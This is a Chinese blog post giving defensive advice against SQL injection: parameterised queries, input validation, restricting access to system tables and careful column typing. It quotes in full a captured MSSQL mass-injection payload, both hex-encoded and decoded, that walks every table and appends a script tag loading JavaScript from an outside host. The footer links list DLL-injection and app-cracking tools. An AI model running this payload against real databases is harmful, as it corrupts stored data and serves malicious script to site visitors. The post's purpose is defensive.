被SQL注入了,自己是否认真研究过,根源在哪里,网络上那些垃圾文章的确没有什么有效的,这种痛苦我是经历过的,自己自己安静下来,寻求解决问题的根本才是关键。
SQL注入的原因很简单,google之后大家也都心知肚明,就那么回事。在程序不做任何处理拼接SQL语句,不被注入,不被盯上都很难。
给你几点中肯的建议:
1.检查是否已经关闭错误提示,可以修改配置文件来实现,这里不针对某种特定语言或者框架而言,都可以实现的,具体操作google。
2.应用程序中,对于GET方式提交,从URL中直接获取参数值未作任何处理直接在程序中拼接SQL语句,通过应用程序中的数据库组建直接运行拼接之后的SQL语句,这种白痴做法对于一个菜鸟来说是最常见的行为,这也是菜鸟人生中非常常见的一幕。
解决办法:关键词,参数化、存储过程化,这也是彻底根绝SQL注入的唯一方法。我以自己最为熟悉的ADO.NET为例,SqlParameter能为你提供一个非常好的沙盒模型,强制执行参数类型和长度检查,并同时确保注入数据库中的代码被视为文本数据(而非可执行语句)。
如果在存储过程中,构建动态SQL语句,那么也可以通过参数化的手段来有效避免SQL注入,要完全做到根绝,任何人都不敢打包票。
POST提交和cookie注入也是一样,对于所有的提交的数据入库之前所有数据来源都应该被视为不可信的,必须要经过验证(客户端和服务器端均需要、甚至数据库端的必要验证也是必须的)方可入库,宁可存在错杀不可放过一个,呵呵。
3.数据库设计,也是有效避免SQL注入非常关键的一环。最近流行的SQL注入模式手段颇为高明,采取16进制编码,类似于如下:
;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D727472696D28636F6E7665727428766172636861722C5B272B40432B275D29292B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A732E75736572732E35312E6C612F313938313136322E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);
解析后:
DECLARE @S CHAR(4000);SET @S=CAST(DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"> </title> <script src="http://js.users.51.la/1981162.js"> </script> <!--'' where '+@C+' not like ''%"> </title> <script src="http://js.users.51.la/1981162.js"> </script> <!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS CHAR(4000));EXEC(@S);
看到上面的代码,如果您对数据库稍微有所了解,会联想到以下几个关键词:游标,sysobjects、syscolumns。这也就是为什么有人说,去掉public(这个是什么,针对MSSQL来说,这个是所有数据库用户默认赋予的基本角色,可以通过MSSQL的企业管理器来配置的,修改这个角色所能具备操作权限)角色中sysobjects与syscolumns对象的select访问权限。如何操作不再复述,不会的菜鸟,自己google,凡是自己动手理解和记忆会更为深刻,这是提升自我必须走的道路。
上述代码还透露出一个信息,游标会遍历该库下的所有表,注入不是针对某张表,而是整个数据库。例如某张表中的字段为text类型,那么会转换为char(4000),然后进行update,你会发现,text类型字段的存储内容早已逝去……,这是很恶劣很头疼的。
在构建整个数据库时候,对于每一张表,都需要经过深思熟虑的,这个工作应该交给有经验的专职DBA来做,但是在中国,这种工作多半由我们程序员自行完成了。那么我谈谈在工作中总结下来的几个小经验:
1. 如果一个字段能使用整型、浮点型、日期类型的,切勿随意使用字符串类型代替。
2. 以MSSQL为例,varchar/nvarchar这些字符串类型,在企业管理器中使用设计器设计时候,会默认为50字节,如果你默许而无动于衷,那么第一你有可能浪费了不少空间,第二为注入留下了余地,你本身该字段最多只可能使用到20个字节,你偏偏默认为50,这能怪谁呢?怪自己懒惰,呵呵。
3. 在存储过程中构造动态SQL语句的时候,务必使用好QUOTENAME 和 REPLACE 函数,可以为你带来一定安全保证。
4. 让我想想,一时半会总结不了这么多,等待下一次的井喷的时候,再告诉你吧,呵呵。
很晚了,都临晨3点了,看了许多朋友都困扰SQL注入,有感而发,从自己的实际工作中出发,说了些感触,欢迎拍砖,呵呵。
分享到:
相关推荐
此资源包含:宽字节注入、SQL手工注入漏洞测试(Oracle数据库)、SQL手工注入漏洞测试(Sql Server数据库)、SQL手工注入漏洞测试(Access数据库)、SQL手工注入漏洞测试(PostgreSQL数据库)、SQL手工注入漏洞测试(MongoDB...
SQL注入漏洞全接触 注入是常见的利用程序漏洞进行攻击的方法,是很多入门级"黑客"喜欢采用的攻击方式,近来网上对它的讨论很热烈,所以我在本期专题中为读者揭示SQL攻击的主要原理以及如何防范这种攻击。 全文分为十...
为了提高网站的安全性,首先网站要防注入,最重要的是服务器的安全设施要做到位。 下面说下网站防注入的几点要素。 一:丢弃SQL语句直接拼接,虽然这个写起来很快很方便。 二:如果用SQL语句,那就使用参数化...
采用STM32F103C8T6单片机,KeilMDK5.32...注入通道触发选择为自动注入(当规则通道的所有通道转换完成之后开始转换注入通道) 开启注入转化完成中断。 注入转换完成之后在注入通道转换完回调函数中串口输出转换的数据
工程包括:被注入的目标程序(C++ WinForm),注入dll, 注入程序(C++ WinForm),注入程序(C# WinForm),通过C++和C# 都可将dll注入目标程序中,目标程序可修改为其它程序,如微信。 在目录中含有已编译好的程序和dll,...
方法一:利用google高级搜索,比如搜索url如.asp?... 您可能感兴趣的文章:Java面试题解析之判断以及防止SQL注入SQL注入原理与解决方法代码示例通过ibatis解决sql注入问题Win2003服务器防SQL注入神器–D盾_IIS防火墙
SQL注入是Internet上最危险、最有名的安全漏洞之一,《SQL注入攻击与防御》是目前唯一一本专门致力于讲解SQL威胁的图书。《SQL注入攻击与防御》作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的...
火绒注入(内核hook稳定注入)
DLL注入工具有很多,但是也有很多无法注入系统进程如explorer.exe,notepad.exe等,特别是Win7以上平台。此注入工具核心注入部分使用NtCreateThreadEx + LdrLoadDlll方式实现,特色在于比一般的远程线程注入稳定,...
非常稳定的驱动注入Dll到进程的程序,功能强大,兼容性强。
SQL注入系列大纲分为: 1、检测 2、Sqlmap的使用 3、编写sqlmap的tamper 4、Fuzz过waf 5、sqlmapApi的使用 以前注入点满大街,一个单引号就可以判断出是否存在注入点。但是如今随着各大厂商越来越注重安全,各种...
st公式的开源高频注入部分代码
驱动注入器源码 驱动级注入 支持win10 win7 32位64位
最近有个需求就是一个抽象仓储层接口方法需要SqlServer以及Oracle两种实现方式,为了灵活我在依赖注入的时候把这两种实现都给注入进了依赖注入容器中,但是在服务调用的时候总是获取到最后注入的那个方法的实现,这...
New Paper是一款完全免费成品apk一键注入卡密验证,远程公告弹窗的软件 功能: 1.一键注入注册机并且自动混淆加密 2.卡密验证,远程公告弹窗,分享弹窗,应用更新,云端签名验证(二次签名闪退,防破解),应用检测...
SQL注入攻击是一种已经长期存在,但近年来日益增长的安全威胁,《安全技术经典译丛:SQL注入攻击与防御(第2版)》致力于深入探讨SQL注入问题。 《安全技术经典译丛:SQL注入攻击与防御(第2版)》前一版荣获2009...
相信研究过正方教务系统的朋友看到过网上传播的比较多的一篇文章提的/service.asmx中的BMCheckPassword存在注入,然而现在大多数正方教务已经将BMCheckPassword移除了,导致漏洞无法利用。本人研究了/service.asmx中...
“创建进程注入” 是监控进程,发现存在进程马上注入,适用于加载驱动保护的程序。 “HOOK xxxx注入” 这些是创建进程时hook函数再注入(原理是远程HOOK,在回调函数里注入),适用于测试破解补丁(启动式破解) ...
本书作者均是专门研究SQL注入的安全专家,他们集众家之长,对应用程序的基本编码和升级维护进行全面跟踪,详细讲解可能引发SQL注入的行为以及攻击者的利用要素,并结合长期实践经验提出了相应的解决方案。...
远程注入查看被注入程序使用的dll,内含两个工程一个是要注入到进程的dll,另个是实施注入的控制台注入程序,实例简单